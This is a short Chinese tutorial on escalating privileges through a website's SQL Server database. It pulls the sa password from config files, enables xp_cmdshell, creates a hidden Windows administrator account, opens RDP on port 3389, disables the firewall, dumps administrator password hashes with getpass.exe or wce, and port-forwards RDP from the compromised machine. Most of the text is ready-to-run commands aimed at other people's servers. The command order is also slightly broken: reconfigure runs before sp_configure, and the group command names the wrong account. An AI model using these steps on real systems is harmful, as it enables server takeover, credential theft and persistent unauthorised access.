天天看点

第八节 SQL server提权

1. 简介

  如果网站里面使用的数据库是sql server,那么如果找到sa的密码,利用提权脚本来执行命令,但是不一定是系统权限,还要看管理员开始安装sql server时给予其的权限设置

2. 查找账号和密码

  一般会存放账号密码的地方:

  web.config  config.asp  conn.aspx  database.aspx

3. 新建管理员:

  use master

  reconfigure

  exec sp_configure 'show advanced options',1   --启用xp_cmdshell

  exec sp_configure 'xp_cmdshell',1      --打开xp_cmdshell,可以调用sql系统之外的命令

  1.添加管理账户后开启远程桌面

  建立系统用户

  exec master..xp_cmdshell 'net user username  password /add' 

  加入到管理员组

  exec master..xp_cmdshell 'net localgroup administrators admingroup /add'

  执行脚本

  exec master..xp_cmdshell 'cmd.exe /c d:\web\3389.bat'  --开启3389端口

  exec master..xp_cmdshell 'netstat -anop tcp | find "3389"'  --查看是否开启

  exec xp_cmdshell 'netsh firewall set opmode disable'   --关闭防火墙  

4. 其他方法

  如果上述方法没法执行,即权限还是不够创建管理员,那么一种方式为上传提权工具,再来提高用户权限

  另一种办法那就读账号密码(前提是管理员登陆过肉鸡)

  exec xp_cmdshell 'd:\oa\getpass.exe' 或者wce等工具导出管理员密码的hash值,然后结合端口转发(如果两者在不同网段或者外网)(把靶机的3389端口转发到攻击端的12345端口,结合管理员的账号密码远程登录。